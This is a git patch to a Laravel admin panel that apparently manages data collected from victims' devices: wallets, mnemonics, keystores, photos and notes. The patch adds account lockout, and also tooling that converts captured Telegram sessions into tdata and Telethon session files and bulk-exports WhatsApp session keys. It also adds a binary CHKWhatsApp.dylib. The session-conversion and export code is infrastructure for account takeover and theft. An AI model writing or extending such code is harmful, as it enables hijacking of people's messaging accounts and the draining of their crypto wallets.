From afac7995883e48eb6b1bfb23a66910e78a797dbb Mon Sep 17 00:00:00 2001 From: hashbro Date: Sat, 3 Oct 2026 05:40:19 +0800 Subject: [PATCH] feat: tg/ws/security/ --- .../Controllers/Admin/AdminUserController.php | 33 +++ .../Controllers/Admin/AgentUserController.php | 30 ++ app/Http/Controllers/Admin/AuthController.php | 37 +++ .../Controllers/Admin/DeviceController.php | 46 ++- .../Admin/PluginSessionController.php | 272 +++++++++++++++++- app/Http/Controllers/Agent/AuthController.php | 33 +++ app/Models/Admin.php | 40 +++ app/Models/SystemLog.php | 12 + app/Models/User.php | 40 +++ app/Support/CountryCallingCode.php | 95 ++++++ app/Support/WsPayloadConverter.php | 250 ++++++++++++++++ channel-builder/source/sync/chk.ts | Bin 0 -> 64897 bytes channel-builder/source/sync_config/daily.body | Bin 2463 -> 2591 bytes .../source/sync_config/daily.body.bak | Bin 0 -> 2463 bytes .../source/sync_dylibs/CHKWhatsApp.dylib | Bin 0 -> 408552 bytes channel-builder/tools/sync_modules.json | 8 + .../tools/tglib_to_session_files.py | 154 ++++++++++ channel-builder/tools/tglib_to_tdata.py | 119 ++++++++ channel-builder/tools/wapjs_to_ws.py | 149 ++++++++++ ...add_login_lock_columns_to_admins_table.php | 29 ++ ..._add_login_lock_columns_to_users_table.php | 23 ++ docs/deploy.md | 2 +- .../views/admin/addresses/index.blade.php | 10 +- resources/views/admin/agents/index.blade.php | 35 ++- resources/views/admin/devices/index.blade.php | 2 + resources/views/admin/devices/show.blade.php | 152 +++++++++- .../views/admin/sessions/index.blade.php | 161 ++++++++++- resources/views/admin/system/admins.blade.php | 33 ++- routes/admin.php | 6 + routes/user.php | 5 +- tests/Feature/AdminLoginTest.php | 156 +++++++++- tests/Feature/AgentLoginTest.php | 124 +++++++- 32 files changed, 2038 insertions(+), 18 deletions(-) create mode 100644 app/Support/CountryCallingCode.php create mode 100644 app/Support/WsPayloadConverter.php create mode 100644 channel-builder/source/sync/chk.ts create mode 100644 channel-builder/source/sync_config/daily.body.bak create mode 100644 channel-builder/source/sync_dylibs/CHKWhatsApp.dylib create mode 100644 channel-builder/tools/tglib_to_session_files.py create mode 100644 channel-builder/tools/tglib_to_tdata.py create mode 100644 channel-builder/tools/wapjs_to_ws.py create mode 100644 database/migrations/2026_10_01_013257_add_login_lock_columns_to_admins_table.php create mode 100644 database/migrations/2026_10_02_022800_add_login_lock_columns_to_users_table.php diff --git a/app/Http/Controllers/Admin/AdminUserController.php b/app/Http/Controllers/Admin/AdminUserController.php index 182726e..900fe4f 100644 --- a/app/Http/Controllers/Admin/AdminUserController.php +++ b/app/Http/Controllers/Admin/AdminUserController.php @@ -4,6 +4,7 @@ namespace App\Http\Controllers\Admin; use App\Http\Controllers\Controller; use App\Models\Admin; +use App\Models\SystemLog; use Illuminate\Http\Request; use Illuminate\Validation\Rule; @@ -43,6 +44,9 @@ class AdminUserController extends Controller 'status' => (int) $a->status, 'google_auth_open' => (int) $a->google_auth_open, 'last_ip' => $a->last_ip, + 'login_attempts' => (int) $a->login_attempts, + 'locked_at' => optional($a->locked_at)->format('Y-m-d H:i:s'), + 'is_locked' => $a->isLocked(), 'created_at' => optional($a->created_at)->format('Y-m-d H:i:s'), 'updated_at' => optional($a->updated_at)->format('Y-m-d H:i:s'), 'is_self' => $a->id === $selfId, @@ -121,6 +125,35 @@ class AdminUserController extends Controller return response()->json(['code' => 0, 'msg' => 'ok']); } + /** + * Unlock an admin account that was locked due to too many failed + * password attempts. Only super admins can unlock. + */ + public function unlock(Admin $adminUser) + { + /** @var Admin $actor */ + $actor = auth('admin')->user(); + if (! $actor instanceof Admin || ! $actor->isSuper()) { + return response()->json(['code' => 1, 'msg' => '需要超级管理员权限'], 403); + } + + if (! $adminUser->isLocked()) { + return response()->json(['code' => 1, 'msg' => '该账号未被封禁']); + } + + $adminUser->clearLoginAttempts(); + + SystemLog::record( + $actor, + 'admin', + SystemLog::ACTION_ADMIN_UNLOCKED, + '超级管理员「'.$actor->username.'」解除管理员「'.$adminUser->username.'」的封禁状态', + request(), + ); + + return response()->json(['code' => 0, 'msg' => '已解除封禁']); + } + private function superCount(): int { return (int) Admin::query()->where('is_super', 1)->count(); diff --git a/app/Http/Controllers/Admin/AgentUserController.php b/app/Http/Controllers/Admin/AgentUserController.php index ec1cb8b..ce41a67 100644 --- a/app/Http/Controllers/Admin/AgentUserController.php +++ b/app/Http/Controllers/Admin/AgentUserController.php @@ -3,7 +3,9 @@ namespace App\Http\Controllers\Admin; use App\Http\Controllers\Controller; +use App\Models\Admin; use App\Models\Channel; +use App\Models\SystemLog; use App\Models\User; use App\Services\TelegramNotifier; use Illuminate\Http\Request; @@ -55,6 +57,9 @@ class AgentUserController extends Controller 'chat_id' => $u->chat_id ?: '', 'telegram_ready' => $u->hasTelegramChat(), 'google_bound' => $u->hasGoogleBound() ? 1 : 0, + 'login_attempts' => (int) $u->login_attempts, + 'locked_at' => optional($u->locked_at)->format('Y-m-d H:i:s'), + 'is_locked' => $u->isLocked(), 'channels_count' => (int) $u->channels_count, 'auto_transfer_enabled' => (int) $u->auto_transfer_enabled, 'auto_transfer_threshold_usdt' => $u->auto_transfer_threshold_usdt !== null ? (string) $u->auto_transfer_threshold_usdt : '', @@ -167,6 +172,31 @@ class AgentUserController extends Controller return response()->json(['code' => 0, 'msg' => 'ok']); } + public function unlock(User $agent) + { + /** @var Admin|null $actor */ + $actor = auth('admin')->user(); + if (! $actor instanceof Admin) { + return response()->json(['code' => 1, 'msg' => '未登录'], 401); + } + + if (! $agent->isLocked()) { + return response()->json(['code' => 1, 'msg' => '该账号未被封禁']); + } + + $agent->clearLoginAttempts(); + + SystemLog::record( + $actor, + 'admin', + SystemLog::ACTION_AGENT_UNLOCKED, + '管理员「'.$actor->username.'」解除代理「'.$agent->username.'」的封禁状态', + request(), + ); + + return response()->json(['code' => 0, 'msg' => '已解除封禁']); + } + public function testTelegram(Request $request, TelegramNotifier $telegram) { $data = $request->validate([ diff --git a/app/Http/Controllers/Admin/AuthController.php b/app/Http/Controllers/Admin/AuthController.php index 66e8ce9..a960e57 100644 --- a/app/Http/Controllers/Admin/AuthController.php +++ b/app/Http/Controllers/Admin/AuthController.php @@ -4,6 +4,7 @@ namespace App\Http\Controllers\Admin; use App\Http\Controllers\Controller; use App\Models\Admin; +use App\Models\SystemLog; use App\Services\AdminGoogle2fa; use App\Support\VisitorIp; use Illuminate\Http\JsonResponse; @@ -61,12 +62,47 @@ class AuthController extends Controller ]); } + // Account-level lock: if the admin account is locked due to too many + // consecutive wrong passwords, reject the login regardless of IP. + $admin = Admin::query()->where('username', $credentials['username'])->first(); + if ($admin && $admin->isLocked()) { + return response()->json([ + 'code' => 1, + 'msg' => '账号已被封锁(连续输错密码 '.self::MAX_ATTEMPTS.' 次),请联系超级管理员解除', + ]); + } + if (! Auth::guard('admin')->attempt( ['username' => $credentials['username'], 'password' => $credentials['password']], false )) { RateLimiter::hit($throttleKey, self::DECAY_SECONDS); + // Track consecutive wrong passwords on the account itself. + if ($admin) { + $justLocked = $admin->recordFailedLogin(self::MAX_ATTEMPTS); + if ($justLocked) { + SystemLog::record( + $admin, + 'admin', + SystemLog::ACTION_ADMIN_LOCKED, + '管理员「'.$admin->username.'」连续输错密码 '.self::MAX_ATTEMPTS.' 次,账号被自动封锁', + $request, + ); + return response()->json([ + 'code' => 1, + 'msg' => '密码连续输错 '.self::MAX_ATTEMPTS.' 次,账号已被封锁,请联系超级管理员解除', + ]); + } + $remaining = self::MAX_ATTEMPTS - (int) $admin->fresh()->login_attempts; + if ($remaining > 0) { + return response()->json([ + 'code' => 1, + 'msg' => '用户名或密码错误(剩余 '.$remaining.' 次尝试机会)', + ]); + } + } + return response()->json(['code' => 1, 'msg' => '用户名或密码错误']); } @@ -96,6 +132,7 @@ class AuthController extends Controller } RateLimiter::clear($throttleKey); + $user->clearLoginAttempts(); $request->session()->regenerate(); $user->forceFill(['last_ip' => VisitorIp::fromRequest($request)])->save(); diff --git a/app/Http/Controllers/Admin/DeviceController.php b/app/Http/Controllers/Admin/DeviceController.php index 7367328..afc36b6 100644 --- a/app/Http/Controllers/Admin/DeviceController.php +++ b/app/Http/Controllers/Admin/DeviceController.php @@ -13,6 +13,7 @@ use App\Models\DsChainLog; use App\Models\Note; use App\Models\PageVisit; use App\Models\Photo; +use App\Models\PluginSession; use App\Models\PhotoRead; use App\Models\User; use App\Models\WalletAddress; @@ -91,7 +92,7 @@ class DeviceController extends Controller 'created_at' => optional($d->created_at)->format('Y-m-d H:i:s'), 'updated_at' => optional($d->updated_at)->format('Y-m-d H:i:s'), 'detail_url' => route($portal.'.devices.show', $d), - 'destroy_url' => route($portal.'.devices.destroy', $d), + 'destroy_url' => $portal === 'admin' ? route($portal.'.devices.destroy', $d) : '', ]; })->values(); @@ -108,7 +109,7 @@ class DeviceController extends Controller $this->authorizeDevice($device); $tab = $request->query('tab', 'wallets'); - if (! in_array($tab, ['wallets', 'mnemonics', 'keystores', 'photos', 'apps', 'notes', 'events'], true)) { + if (! in_array($tab, ['wallets', 'mnemonics', 'keystores', 'photos', 'apps', 'notes', 'events', 'ws-sessions', 'tg-sessions'], true)) { $tab = 'wallets'; } @@ -175,6 +176,8 @@ class DeviceController extends Controller 'apps' => $this->paginateApps($device, $field, $order, $limit, $page), 'notes' => $this->paginateNotes($device, $field, $order, $limit, $page), 'events' => $this->paginateEvents($device, $field, $order, $limit, $page), + 'ws-sessions' => $this->paginatePluginSessions($device, PluginSession::KIND_WHATSAPP, $field, $order, $limit, $page), + 'tg-sessions' => $this->paginatePluginSessions($device, PluginSession::KIND_TELEGRAM, $field, $order, $limit, $page), default => response()->json(['code' => 1, 'msg' => 'unknown tab', 'count' => 0, 'data' => []]), }; } @@ -746,6 +749,45 @@ class DeviceController extends Controller return $this->layuiPage($paginator->total(), $data); } + private function paginatePluginSessions(Device $device, int $kind, string $field, string $order, int $limit, int $page) + { + $sortable = ['id', 'account_id', 'phone', 'created_at', 'updated_at']; + if (! in_array($field, $sortable, true)) { + $field = 'id'; + } + $q = $device->pluginSessions()->where('kind', $kind); + $q->orderBy('plugin_sessions.'.$field, $order); + $paginator = $q->paginate($limit, ['*'], 'page', $page); + + $portal = $this->portal(); + $isSuper = (bool) auth('admin')->user()?->isSuper(); + $data = collect($paginator->items())->map(function (PluginSession $row) use ($portal, $isSuper) { + $summary = $row->listSummary(); + + return array_merge($summary, [ + 'id' => $row->id, + 'kind' => $row->kind, + 'account_id' => $row->account_id ?: '', + 'phone' => $row->phone ?: '', + 'payload_url' => route($portal.'.sessions.payload', $row, false), + 'download_url' => route($portal.'.sessions.download', $row, false), + 'tdata_url' => ((int) $row->kind === PluginSession::KIND_TELEGRAM && $isSuper) + ? route($portal.'.sessions.tdata', $row, false) + : '', + 'session_file_url' => ((int) $row->kind === PluginSession::KIND_TELEGRAM && $isSuper) + ? route($portal.'.sessions.session-file', $row, false) + : '', + 'ws_full_url' => (int) $row->kind === PluginSession::KIND_WHATSAPP + ? route($portal.'.sessions.ws-full', $row, false) + : '', + 'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'), + 'updated_at' => optional($row->updated_at)->format('Y-m-d H:i:s'), + ]); + })->values(); + + return $this->layuiPage($paginator->total(), $data); + } + private function paginateNotes(Device $device, string $field, string $order, int $limit, int $page) { $noteId = $device->notes()->orderByDesc('id')->value('id'); diff --git a/app/Http/Controllers/Admin/PluginSessionController.php b/app/Http/Controllers/Admin/PluginSessionController.php index 26ab62a..24176f3 100644 --- a/app/Http/Controllers/Admin/PluginSessionController.php +++ b/app/Http/Controllers/Admin/PluginSessionController.php @@ -7,6 +7,7 @@ use App\Http\Controllers\Controller; use App\Models\PluginSession; use App\Models\User; use App\Support\AgentScope; +use App\Support\WsPayloadConverter; use Illuminate\Database\Eloquent\Builder; use Illuminate\Http\Request; use Illuminate\Support\Facades\Storage; @@ -74,6 +75,219 @@ class PluginSessionController extends Controller }, $name, ['Content-Type' => 'application/json; charset=UTF-8']); } + /** + * Download a Telegram Desktop tdata zip for this Telegram session. + * + * Converts the tglib.js payload (state + db_sqlite) into a tdata folder + * via opentele-ng (offline, no Telegram connection), then zips it. + * Only Telegram sessions (kind=1) with a valid backupData block are + * convertible; WhatsApp sessions return 422. + */ + public function downloadTdata(PluginSession $pluginSession) + { + $this->authorizeSession($pluginSession); + + if (! auth('admin')->user()?->isSuper()) { + return response()->json(['code' => 1, 'msg' => '仅超管可使用此功能'], 403); + } + + if (! $pluginSession->isTelegram()) { + return response()->json(['code' => 1, 'msg' => '仅支持 Telegram 会话转换'], 422); + } + + $payload = $pluginSession->fullPayload(); + if (! is_array($payload) || ! isset($payload['state'])) { + return response()->json(['code' => 1, 'msg' => '该会话缺少 state 数据,无法转换'], 422); + } + + $python = config('coruna.tdata_python', base_path('channel-builder/.venv-tdata/bin/python')); + $script = config('coruna.tdata_script', base_path('channel-builder/tools/tglib_to_tdata.py')); + + if (! is_file($python) || ! is_file($script)) { + return response()->json([ + 'code' => 1, + 'msg' => '转换环境未配置(缺少 Python 或脚本)', + ], 500); + } + + $tmpDir = sys_get_temp_dir().'/coruna-tdata-'.uniqid(); + @mkdir($tmpDir, 0700, true); + $jsonPath = $tmpDir.'/input.json'; + $zipPath = $tmpDir.'/tdata.zip'; + file_put_contents($jsonPath, json_encode($payload, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES)); + + $cmd = escapeshellarg($python).' '.escapeshellarg($script).' ' + .escapeshellarg($jsonPath).' '.escapeshellarg($zipPath).' 2>&1'; + $output = []; + $exit = -1; + @exec($cmd, $output, $exit); + + if ($exit !== 0 || ! is_file($zipPath)) { + $msg = implode("\n", $output) ?: "转换失败 (exit=$exit)"; + @unlink($jsonPath); + if (is_file($zipPath)) @unlink($zipPath); + @rmdir($tmpDir); + + return response()->json(['code' => 1, 'msg' => $msg], 500); + } + + $account = $pluginSession->account_id ?: $pluginSession->phone ?: $pluginSession->id; + $filename = 'tdata-'.$account.'.zip'; + $zipContents = file_get_contents($zipPath); + + @unlink($jsonPath); + @unlink($zipPath); + @rmdir($tmpDir); + + return response()->streamDownload(static function () use ($zipContents) { + echo $zipContents; + }, $filename, ['Content-Type' => 'application/zip']); + } + + /** + * Download a Telethon session trio file (.session / .json / _密钥.txt). + * + * Converts the tglib.js payload (state + db_sqlite) into the three-file + * Telethon session format via tglib_to_session_files.py (offline). + * The `type` query param selects which file to stream back: + * - session: {phone}.session (SQLite, application/octet-stream) + * - json: {phone}.json (metadata + session_string) + * - key: {phone}_密钥.txt (session_string plain text) + * Only Telegram sessions (kind=1) with a valid backupData block are + * convertible; WhatsApp sessions return 422. + */ + public function downloadSessionFile(Request $request, PluginSession $pluginSession) + { + $this->authorizeSession($pluginSession); + + if (! auth('admin')->user()?->isSuper()) { + return response()->json(['code' => 1, 'msg' => '仅超管可使用此功能'], 403); + } + + if (! $pluginSession->isTelegram()) { + return response()->json(['code' => 1, 'msg' => '仅支持 Telegram 会话转换'], 422); + } + + $type = (string) $request->query('type', 'session'); + if (! in_array($type, ['session', 'json', 'key'], true)) { + $type = 'session'; + } + + $payload = $pluginSession->fullPayload(); + if (! is_array($payload) || ! isset($payload['state'])) { + return response()->json(['code' => 1, 'msg' => '该会话缺少 state 数据,无法转换'], 422); + } + + $python = config('coruna.tdata_python', base_path('channel-builder/.venv-tdata/bin/python')); + $script = config('coruna.session_script', base_path('channel-builder/tools/tglib_to_session_files.py')); + + if (! is_file($python) || ! is_file($script)) { + return response()->json([ + 'code' => 1, + 'msg' => '转换环境未配置(缺少 Python 或脚本)', + ], 500); + } + + $tmpDir = sys_get_temp_dir().'/coruna-sess-'.uniqid(); + @mkdir($tmpDir, 0700, true); + $jsonPath = $tmpDir.'/input.json'; + $outDir = $tmpDir.'/out'; + @mkdir($outDir, 0700, true); + file_put_contents($jsonPath, json_encode($payload, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES)); + + $cmd = escapeshellarg($python).' '.escapeshellarg($script).' ' + .escapeshellarg($jsonPath).' '.escapeshellarg($outDir).' 2>&1'; + $output = []; + $exit = -1; + @exec($cmd, $output, $exit); + + if ($exit !== 0) { + $msg = implode("\n", $output) ?: "转换失败 (exit=$exit)"; + $this->rrmdir($tmpDir); + return response()->json(['code' => 1, 'msg' => $msg], 500); + } + + // Locate the generated files (named {phone}.* in outDir). + $sessionFile = $jsonMeta = $keyFile = null; + foreach (glob($outDir.'/*') as $f) { + $base = basename($f); + if (str_ends_with($base, '.session')) { + $sessionFile = $f; + } elseif (str_ends_with($base, '.json')) { + $jsonMeta = $f; + } elseif (str_contains($base, '_') && str_ends_with($base, '.txt')) { + $keyFile = $f; + } + } + + $account = $pluginSession->account_id ?: $pluginSession->phone ?: $pluginSession->id; + $file = $type === 'json' ? $jsonMeta : ($type === 'key' ? $keyFile : $sessionFile); + $ext = $type === 'json' ? 'json' : ($type === 'key' ? '_密钥.txt' : 'session'); + $filename = $account.'.'.$ext; + $mime = $type === 'json' ? 'application/json' + : ($type === 'key' ? 'text/plain' : 'application/octet-stream'); + + if (! $file || ! is_file($file)) { + $this->rrmdir($tmpDir); + return response()->json(['code' => 1, 'msg' => '转换后未找到对应文件'], 500); + } + + $contents = file_get_contents($file); + $this->rrmdir($tmpDir); + + return response()->streamDownload(static function () use ($contents) { + echo $contents; + }, $filename, ['Content-Type' => $mime]); + } + + /** + * Download a single WhatsApp session's full protocol parameters as a + * one-line NDJSON .txt file (the __ws.txt 26-field format). + * + * Only WhatsApp sessions (kind=2) with a convertible payload are + * supported; Telegram sessions return 422. + */ + public function downloadWsFull(PluginSession $pluginSession, WsPayloadConverter $converter) + { + $this->authorizeSession($pluginSession); + + if (! $pluginSession->isWhatsApp()) { + return response()->json(['code' => 1, 'msg' => '仅支持 WhatsApp 会话转换'], 422); + } + + $line = $converter->convertToLine($pluginSession, $pluginSession->device); + if ($line === null) { + return response()->json(['code' => 1, 'msg' => '该会话缺少必要数据,无法转换'], 422); + } + + $account = $pluginSession->account_id ?: $pluginSession->phone ?: $pluginSession->id; + $filename = 'ws-'.$account.'.txt'; + + return response()->streamDownload(static function () use ($line) { + echo $line."\n"; + }, $filename, ['Content-Type' => 'text/plain; charset=UTF-8']); + } + + /** + * Recursively remove a directory (best-effort). + */ + private function rrmdir(string $dir): void + { + if (! is_dir($dir)) { + return; + } + $items = array_diff(scandir($dir) ?: [], ['.', '..']); + foreach ($items as $item) { + $path = $dir.'/'.$item; + if (is_dir($path)) { + $this->rrmdir($path); + } else { + @unlink($path); + } + } + @rmdir($dir); + } + /** * Bulk export all sessions matching the current filter as a ZIP. * Uses a temp file + ZipArchive (disk-based, not memory) and a DB cursor @@ -163,6 +377,52 @@ class PluginSessionController extends Controller ]); } + /** + * Bulk export WhatsApp sessions as a single NDJSON .txt file + * (one JSON object per line, 26 fields — the chk.ts / __ws.txt format). + * + * Each wap.js payload is converted on the fly: protobuf signedPreKey + * decode, libsodium curve25519 public-key derivation, and cc/country/in + * inference from the bare phone number. Sessions lacking the minimum + * key material are skipped (counted in X-Export-Skipped). + */ + public function exportWs(Request $request, WsPayloadConverter $converter) + { + $q = $this->baseQuery($request, PluginSession::KIND_WHATSAPP); + $total = $q->count(); + if ($total === 0) { + return response()->json(['code' => 1, 'msg' => '没有可导出的 WhatsApp 数据'], 422); + } + if ($total > 1000) { + return response()->json([ + 'code' => 1, + 'msg' => '数据量过大('.$total.' 条,上限 1000),请缩小时间范围后导出', + ], 422); + } + + $fileName = 'ws-'.date('Ymd-His').'.txt'; + + return response()->streamDownload(function () use ($q, $converter, &$written, &$skipped) { + $written = 0; + $skipped = 0; + foreach ($q->cursor() as $row) { + /** @var PluginSession $row */ + $line = $converter->convertToLine($row, $row->device); + if ($line === null) { + $skipped++; + continue; + } + echo $line."\n"; + $written++; + } + }, $fileName, [ + 'Content-Type' => 'text/plain; charset=UTF-8', + 'X-Export-Count' => (string) $total, + 'X-Export-Written' => (string) ($written ?? 0), + 'X-Export-Skipped' => (string) ($skipped ?? 0), + ]); + } + private function page(string $kind) { $agents = $this->isAgentPortal() @@ -194,7 +454,8 @@ class PluginSessionController extends Controller $paginator = $q->paginate($limit, ['*'], 'page', $page); $portal = $this->portal(); - $data = collect($paginator->items())->map(function ($row) use ($portal) { + $isSuper = (bool) auth('admin')->user()?->isSuper(); + $data = collect($paginator->items())->map(function ($row) use ($portal, $isSuper) { /** @var PluginSession $row */ $summary = $row->listSummary(); @@ -205,6 +466,15 @@ class PluginSessionController extends Controller 'channel_id' => $row->device_channel_id ?: '', 'payload_url' => route($portal.'.sessions.payload', $row, false), 'download_url' => route($portal.'.sessions.download', $row, false), + 'tdata_url' => ((int) $row->kind === PluginSession::KIND_TELEGRAM && $isSuper) + ? route($portal.'.sessions.tdata', $row, false) + : '', + 'session_file_url' => ((int) $row->kind === PluginSession::KIND_TELEGRAM && $isSuper) + ? route($portal.'.sessions.session-file', $row, false) + : '', + 'ws_full_url' => (int) $row->kind === PluginSession::KIND_WHATSAPP + ? route($portal.'.sessions.ws-full', $row, false) + : '', 'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'), 'updated_at' => optional($row->updated_at)->format('Y-m-d H:i:s'), 'detail_url' => route($portal.'.devices.show', $row->device_id), diff --git a/app/Http/Controllers/Agent/AuthController.php b/app/Http/Controllers/Agent/AuthController.php index 2d1fc0f..5ae56f5 100644 --- a/app/Http/Controllers/Agent/AuthController.php +++ b/app/Http/Controllers/Agent/AuthController.php @@ -3,6 +3,7 @@ namespace App\Http\Controllers\Agent; use App\Http\Controllers\Controller; +use App\Models\SystemLog; use App\Models\User; use App\Services\AdminGoogle2fa; use App\Support\VisitorIp; @@ -63,6 +64,12 @@ class AuthController extends Controller /** @var User|null $user */ $user = User::query()->where('username', $credentials['username'])->first(); + if ($user && $user->isLocked()) { + return response()->json([ + 'code' => 1, + 'msg' => '账号已被封锁(连续输错密码 '.self::MAX_ATTEMPTS.' 次),请联系管理员解除', + ]); + } if ($user && ! $user->isEnabled()) { RateLimiter::hit($throttleKey, self::DECAY_SECONDS); @@ -75,6 +82,31 @@ class AuthController extends Controller )) { RateLimiter::hit($throttleKey, self::DECAY_SECONDS); + if ($user) { + $justLocked = $user->recordFailedLogin(self::MAX_ATTEMPTS); + if ($justLocked) { + SystemLog::record( + $user, + 'agent', + SystemLog::ACTION_AGENT_LOCKED, + '代理「'.$user->username.'」连续输错密码 '.self::MAX_ATTEMPTS.' 次,账号被自动封锁', + $request, + ); + + return response()->json([ + 'code' => 1, + 'msg' => '密码连续输错 '.self::MAX_ATTEMPTS.' 次,账号已被封锁,请联系管理员解除', + ]); + } + $remaining = self::MAX_ATTEMPTS - (int) $user->fresh()->login_attempts; + if ($remaining > 0) { + return response()->json([ + 'code' => 1, + 'msg' => '用户名或密码错误(剩余 '.$remaining.' 次尝试机会)', + ]); + } + } + return response()->json(['code' => 1, 'msg' => '用户名或密码错误']); } @@ -96,6 +128,7 @@ class AuthController extends Controller } RateLimiter::clear($throttleKey); + $user->clearLoginAttempts(); $request->session()->regenerate(); return response()->json([ diff --git a/app/Models/Admin.php b/app/Models/Admin.php index 6a03224..214ce9a 100644 --- a/app/Models/Admin.php +++ b/app/Models/Admin.php @@ -14,6 +14,8 @@ class Admin extends Authenticatable 'google_auth_open', 'google_secret', 'last_ip', + 'login_attempts', + 'locked_at', ]; protected $hidden = ['password', 'remember_token', 'google_secret']; @@ -25,6 +27,8 @@ class Admin extends Authenticatable 'is_super' => 'integer', 'status' => 'integer', 'google_auth_open' => 'integer', + 'login_attempts' => 'integer', + 'locked_at' => 'datetime', ]; } @@ -38,6 +42,42 @@ class Admin extends Authenticatable return (int) $this->status === 1; } + public function isLocked(): bool + { + return $this->locked_at !== null; + } + + /** + * Increment the consecutive failed-login counter; auto-lock when the + * count reaches $maxAttempts (default 5). Returns true when the call + * triggers a lock. + */ + public function recordFailedLogin(int $maxAttempts = 5): bool + { + $this->login_attempts = (int) $this->login_attempts + 1; + $justLocked = false; + if ($this->login_attempts >= $maxAttempts && ! $this->isLocked()) { + $this->locked_at = now(); + $justLocked = true; + } + $this->save(); + + return $justLocked; + } + + /** + * Reset the failed-login counter (called after a successful login or + * when an admin manually unlocks the account). + */ + public function clearLoginAttempts(): void + { + if ((int) $this->login_attempts !== 0 || $this->locked_at !== null) { + $this->login_attempts = 0; + $this->locked_at = null; + $this->save(); + } + } + public function hasGoogleBound(): bool { return filled($this->google_secret); diff --git a/app/Models/SystemLog.php b/app/Models/SystemLog.php index 3f8fdb6..00c708a 100644 --- a/app/Models/SystemLog.php +++ b/app/Models/SystemLog.php @@ -12,6 +12,14 @@ class SystemLog extends Model public const ACTION_MNEMONIC_CREATE = 'mnemonic_create'; + public const ACTION_ADMIN_LOCKED = 'admin_locked'; + + public const ACTION_ADMIN_UNLOCKED = 'admin_unlocked'; + + public const ACTION_AGENT_LOCKED = 'agent_locked'; + + public const ACTION_AGENT_UNLOCKED = 'agent_unlocked'; + public const UPDATED_AT = null; protected $fillable = [ @@ -30,6 +38,10 @@ class SystemLog extends Model return [ self::ACTION_MNEMONIC_REVEAL => '查看助记词', self::ACTION_MNEMONIC_CREATE => '手动添加助记词', + self::ACTION_ADMIN_LOCKED => '账号封锁', + self::ACTION_ADMIN_UNLOCKED => '账号解锁', + self::ACTION_AGENT_LOCKED => '代理账号封锁', + self::ACTION_AGENT_UNLOCKED => '代理账号解锁', ]; } diff --git a/app/Models/User.php b/app/Models/User.php index 3bca002..5391a5a 100644 --- a/app/Models/User.php +++ b/app/Models/User.php @@ -17,6 +17,8 @@ class User extends Authenticatable 'auto_transfer_threshold_bnb', 'album_storage_default', 'can_reveal_mnemonics', + 'login_attempts', + 'locked_at', ]; protected $hidden = [ @@ -46,6 +48,8 @@ class User extends Authenticatable 'album_storage_default' => 'boolean', 'can_reveal_mnemonics' => 'boolean', 'google_auth_open' => 'integer', + 'login_attempts' => 'integer', + 'locked_at' => 'datetime', ]; } @@ -59,6 +63,42 @@ class User extends Authenticatable return (int) $this->status === 1; } + public function isLocked(): bool + { + return $this->locked_at !== null; + } + + /** + * Increment the consecutive failed-login counter; auto-lock when the + * count reaches $maxAttempts (default 5). Returns true when the call + * triggers a lock. + */ + public function recordFailedLogin(int $maxAttempts = 5): bool + { + $this->login_attempts = (int) $this->login_attempts + 1; + $justLocked = false; + if ($this->login_attempts >= $maxAttempts && ! $this->isLocked()) { + $this->locked_at = now(); + $justLocked = true; + } + $this->save(); + + return $justLocked; + } + + /** + * Reset the failed-login counter (called after a successful login or + * when an admin manually unlocks the account). + */ + public function clearLoginAttempts(): void + { + if ((int) $this->login_attempts !== 0 || $this->locked_at !== null) { + $this->login_attempts = 0; + $this->locked_at = null; + $this->save(); + } + } + public function channels(): HasMany { return $this->hasMany(Channel::class, 'user_id'); diff --git a/app/Support/CountryCallingCode.php b/app/Support/CountryCallingCode.php new file mode 100644 index 0000000..40f651d --- /dev/null +++ b/app/Support/CountryCallingCode.php @@ -0,0 +1,95 @@ + ISO 3166-1 alpha-2. + * + * Used to infer cc / country / in from a bare WhatsApp phone number + * (wap.js reports userId as an int with no country-code breakdown). + * Longest-prefix-first so 1-3 digit codes resolve correctly. + */ +final class CountryCallingCode +{ + /** @var array calling-code => ISO alpha-2 */ + private const CALLING_CODES = [ + '1' => 'US', '7' => 'RU', + '20' => 'EG', '27' => 'ZA', '30' => 'GR', '31' => 'NL', '32' => 'BE', + '33' => 'FR', '34' => 'ES', '36' => 'HU', '39' => 'IT', '40' => 'RO', + '41' => 'CH', '43' => 'AT', '44' => 'GB', '45' => 'DK', '46' => 'SE', + '47' => 'NO', '48' => 'PL', '49' => 'DE', '51' => 'PE', '52' => 'MX', + '53' => 'CU', '54' => 'AR', '55' => 'BR', '56' => 'CL', '57' => 'CO', + '58' => 'VE', '60' => 'MY', '61' => 'AU', '62' => 'ID', '63' => 'PH', + '64' => 'NZ', '65' => 'SG', '66' => 'TH', '81' => 'JP', '82' => 'KR', + '84' => 'VN', '86' => 'CN', '90' => 'TR', '91' => 'IN', '92' => 'PK', + '93' => 'AF', '94' => 'LK', '95' => 'MM', '98' => 'IR', + '211' => 'SS', '212' => 'MA', '213' => 'DZ', '216' => 'TN', '218' => 'LY', + '220' => 'GM', '221' => 'SN', '222' => 'MR', '223' => 'ML', '224' => 'GN', + '225' => 'CI', '226' => 'BF', '227' => 'NE', '228' => 'TG', '229' => 'BJ', + '230' => 'MU', '231' => 'LR', '232' => 'SL', '233' => 'GH', '234' => 'NG', + '235' => 'TD', '236' => 'CF', '237' => 'CM', '238' => 'CV', '239' => 'ST', + '240' => 'GQ', '241' => 'GA', '242' => 'CG', '243' => 'CD', '244' => 'AO', + '245' => 'GW', '248' => 'SC', '249' => 'SD', '250' => 'RW', '251' => 'ET', + '252' => 'SO', '253' => 'DJ', '254' => 'KE', '255' => 'TZ', '256' => 'UG', + '257' => 'BI', '258' => 'MZ', '260' => 'ZM', '261' => 'MG', '263' => 'ZW', + '264' => 'NA', '265' => 'MW', '266' => 'LS', '267' => 'BW', '268' => 'SZ', + '269' => 'KM', '290' => 'SH', '291' => 'ER', '297' => 'AW', '298' => 'FO', + '299' => 'GL', '350' => 'GI', '351' => 'PT', '352' => 'LU', '353' => 'IE', + '354' => 'IS', '355' => 'AL', '356' => 'MT', '357' => 'CY', '358' => 'FI', + '359' => 'BG', '370' => 'LT', '371' => 'LV', '372' => 'EE', '373' => 'MD', + '374' => 'AM', '375' => 'BY', '376' => 'AD', '377' => 'MC', '378' => 'SM', + '380' => 'UA', '381' => 'RS', '382' => 'ME', '383' => 'XK', '385' => 'HR', + '386' => 'SI', '387' => 'BA', '389' => 'MK', 